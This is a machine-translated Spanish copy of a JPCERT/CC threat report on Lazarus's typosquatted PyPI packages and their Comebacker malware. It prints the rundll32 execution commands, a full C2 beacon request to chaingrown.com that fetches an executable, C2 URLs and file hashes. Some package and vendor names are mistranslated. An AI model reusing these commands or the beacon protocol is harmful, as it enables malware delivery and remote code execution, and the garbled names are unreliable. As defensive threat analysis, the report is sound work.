Skip to main content

Nuevos paquetes PyPI maliciosos utilizados por Lazarus – JPCERT/CC Eyes

mayo 22, 2024


JPCERT/CC ha confirmado que Lazarus ha lanzado paquetes Python maliciosos a PyPI, el repositorio oficial de paquetes Python (Figura 1). Los paquetes de Python confirmados esta vez son los siguientes:

  • pycryptoenv
  • pycryptoconf
  • cuasarlib
  • grupo de intercambio

Los nombres de los paquetes pycryptoenv y pycryptoconf son similares a pycrypto, que es un paquete de Python utilizado para algoritmos de cifrado en Python. Por lo tanto, el atacante probablemente preparó los paquetes maliciosos que contienen malware para atacar los errores tipográficos de los usuarios al instalar los paquetes de Python.
Este artículo proporciona detalles sobre estos paquetes maliciosos de Python.

Figura 1: Paquetes de Python lanzados por el grupo de ataque Lazarus

Estructura de archivos de los paquetes maliciosos de Python

Dado que los múltiples paquetes maliciosos de Python confirmados esta vez tienen casi la misma estructura de archivos, este artículo utiliza pycryptoenv como ejemplo en las siguientes secciones. El paquete malicioso Python tiene la estructura de archivos que se muestra en la Figura 2. El cuerpo principal del malware es un archivo llamado test.py. Este archivo en sí no es Python sino datos binarios, que es un archivo DLL codificado.

Figura 2: Estructura de archivos de pycryptoenv

El código a decodificar y ejecutar. test.py está contenido en __init__.pycomo se muestra en la Figura 3. El test.py es simplemente un archivo DLL codificado con XOR, y se decodifica, se guarda como un archivo y luego se ejecuta mediante __init__.py.

Figura 3: Código para decodificar y ejecutar test.py

Este tipo de malware, llamado Comebacker, es el mismo que utilizó Lazarus para atacar a los investigadores de seguridad en un ataque reportado por Google. [1] en enero de 2021. Las siguientes secciones describen los detalles de test.py.

Detalles de prueba.py

Dado que el código que llama a la función para decodificar y ejecutar test.py (la función crypt en la Figura 3) no existe en pycryptoenv, el malware no se puede ejecutar simplemente instalando pycryptoenv. Por lo tanto, el atacante probablemente ejecuta el script Python que ejecuta de alguna manera la función crypt en la máquina objetivo. La siguiente sección describe el comportamiento cuando se ejecuta una función que decodifica y ejecuta test.py.
La Figura 4 muestra el proceso desde pycryptoenv hasta la ejecución del cuerpo principal del malware.

Figura 4: Flujo hasta la ejecución de Comebacker

Después test.py está decodificado XOR, se guarda como output.py y luego ejecutado como un archivo DLL con el siguiente comando.

$ rundll32 output.py,CalculateSum

Los archivos DLL IconCache.db y NTUSER.DAT son creados y ejecutados por el siguiente comando. NTUSER.DAT está codificado y los datos decodificados se ejecutan en la memoria, y estos datos son el cuerpo principal de Comebacker.

RUNDLL32.exe %APPDATA%\..\Roaming\Microsoft\IconCache.db,GetProcFunc %APPDATA%\..\Roaming\Microsoft\Credentials\NTUSER.DAT

Las muestras confirmadas esta vez tienen una clave de decodificación fija, como se muestra en la Figura 5, y se utilizan para decodificar cada archivo.

Figura 5: Teclas de decodificación y funciones de decodificación

Además, el código NOP utilizado en este ejemplo tiene una característica única. Como se muestra en la Figura 6, hay un comando que comienza con 66 66 66 66 en medio del código. Esto se usa a menudo, especialmente en las funciones de decodificación y codificación. Esta característica también se encuentra en otros tipos de malware utilizados por Lazarus, incluidos malware BLINDINGCAN.

Figura 6: Comparación de comandos NOP característicos entre Comebacker y BLINDINGCAN

Detalles del regreso

Comebacker envía la siguiente solicitud HTTP POST a sus servidores C2.

POST /manage/manage.asp HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: chaingrown.com
Content-Length: 129
Cache-Control: no-cache

NB=XMAFUUCARD&GPETR=NTU1NTY0aHU0Z2psMkRhUA==&FCKA=&YUYRNT=0&POCAYM=52&PQWFQU=MgAwADIANAAtADAAMgAtADAANQAgADIANAA6ADMANAA6ADUANgA=

Los datos POST constan de lo siguiente:

[2 random characters]=[command (determined by string length)]&[random character]=[device ID (base64 encoded)]&[random character]=[not used (base64 encoded)]&[random character]=[number (initially 0 and after receiving data, it becomes the value in the received data.)]&[random character]=[length of the next value]&[random character]=[yyyy-MM-dd hh:mm:ss(base64 encoded)*]

*After receiving data from the server, it becomes "yyyy-MM-dd hh:mm:ss|command (same as the first one sent)|number of bytes received"

En respuesta a los datos anteriores enviados, el servidor devuelve un archivo ejecutable de Windows (consulte el Apéndice A para obtener detalles sobre el formato de los datos recibidos). Comebacker tiene una función para ejecutar el archivo ejecutable de Windows recibido en la memoria.

Ataques asociados

Phylum ha informado [2] Un caso similar a este ataque en el pasado. En este caso, un paquete npm contiene Comebacker y, por lo tanto, se considera que el ataque también fue realizado por Lazarus. De esta forma, el atacante pretende propagar infecciones de malware en múltiples repositorios de paquetes.

Figura 7: paquete npm lanzado por el grupo de ataque Lazarus

Para concluir

Los paquetes maliciosos de Python confirmados esta vez se han descargado aproximadamente entre 300 y 1200 veces (Figura 8). Los atacantes pueden estar apuntando a los errores tipográficos de los usuarios para descargar el malware. Cuando instale módulos y otros tipos de software en su entorno de desarrollo, hágalo con cuidado para evitar instalar paquetes no deseados. Para C2 y otra información sobre el malware descrito en este artículo, consulte el Apéndice.

Figura 8: Número de descargas de pycryptoenv

Shusei Tomonaga
(Traducido por Takumi Nakano)

Referencias

[1] Google: nueva campaña dirigida a investigadores de seguridad
https://blog.google/threat-analysis-group/new-campaign-targeting-security-researchers/

[2] Filo: Se encontraron paquetes npm con temática criptográfica que entregan malware sigiloso
https://blog.phylum.io/crypto-themed-npm-packages-found-delivering-stealthy-malware/

Apéndice A: Formato de los datos recibidos

Tabla A: Formato de los datos recibidos
Compensar Contenido Notas
0x00 cadena hexagonal Dominio
0x05 cadena hexagonal Bandera de fin (la recepción finaliza si son 3)
0x07 cadena hexagonal Longitud de datos
0x10 Datos Datos Base64 con «+» reemplazados por espacio

El formato de datos es el siguiente:

[number(number to be included in the next POST data)]|[number(data size to receive)]|[Export function to be called by the downloaded Windows executable file]|[argument for the Export function]|[MD5 hash value]

Apéndice B: C2

  • https://blockchain-newtech.com/download/download.asp
  • https://fasttet.com/user/agency.asp
  • https://chaingrown.com/manage/manage.asp
  • http://91.206.178.125/upload/upload.asp

Apéndice C: hash de malware

pycryptoenv-1.0.7.tar.gz
– b4a04b450bb7cae5ea578e79ae9d0f203711c18c3f3a6de9900d2bdfaa4e7f67

pycryptoenv-1.0.7-py3-ninguno-cualquier.whl
– c56c94e21913b2df4be293001da84c3bb20badf823ccf5b6a396f5f49df5efff

pycryptoconf-1.0.6.tar.gz
– 956d2ed558e3c6e447e3d4424d6b14e81f74b63762238e84069f9a7610aa2531

pycryptoconf-1.0.6-py3-ninguno-cualquier.whl
-6bba8f488c23a0e0f753ac21cd83ddeac5c4d14b70d4426d7cdeebdf813a1094

quasarlib-1.0.8.tar.gz
– 173e6bc33efc7a03da06bf5f8686a89bbed54b6fc8a4263035b7950ed3886179

quasarlib-1.0.8-py3-ninguno-cualquier.whl
– 3ab6e6fc888e4df602eff1c5bc24f3e976215d1e4a58f963834e5b225a3821f5

swapmempool-1.0.8.tar.gz
– 60c080a29f58cf861f5e7c7fc5e5bddc7e63dd1db0badc06729d91f65957e9ce

swapmempool-1.0.8-py3-ninguno-cualquier.whl
– 26437bc68133c2ca09bb56bc011dd1b713f8ee40a2acc2488b102dd037641c6e

Regresar
– 63fb47c3b4693409ebadf8a5179141af5cf45a46d1e98e5f763ca0d7d64fb17c
-e05142f8375070d1ea25ed3a31404ca37b4e1ac88c26832682d8d2f9f4f6d0ae

Cargador
– 01c5836655c6a4212676c78ec96c0ac6b778a411e61a2da1f545eba8f784e980
– aec915753612bb003330ce7ffc67cfa9d7e3c12310f0ecfd0b7e50abf427989a
– 85c3a2b185f882abd2cc40df5a1a341962bc4616bc78a344768e4de1d5236ab7
– a4e4618b358c92e04fe6b7f94a114870c941be5e323735a2e5cd195138327f8f
-a8a5411f3696b276aee37eee0d9bed99774910a74342bbd638578a315b65e6a6
– 8fb6d8a5013bd3a36c605031e86fd1f6bb7c3fdba722e58ee2f4769a820b86b0

Apéndice D: AP

  • F:\workspace\CBG\Loader\npmLoaderDll\x64\Release\npmLoaderDll.pdb
  • F:\workspace\CBG\npmLoaderDll\x64\Release\npmLoaderDll.pdb
  • D:\workspace\CBG\Windows\Loader\npmLoaderDll\x64\Release\npmLoaderDll.pdb
  • F:\workspace\CBG\Loader\publicLoaderFirst\x64\Release\publicLoaderFirst.pdb



Source link

Translate »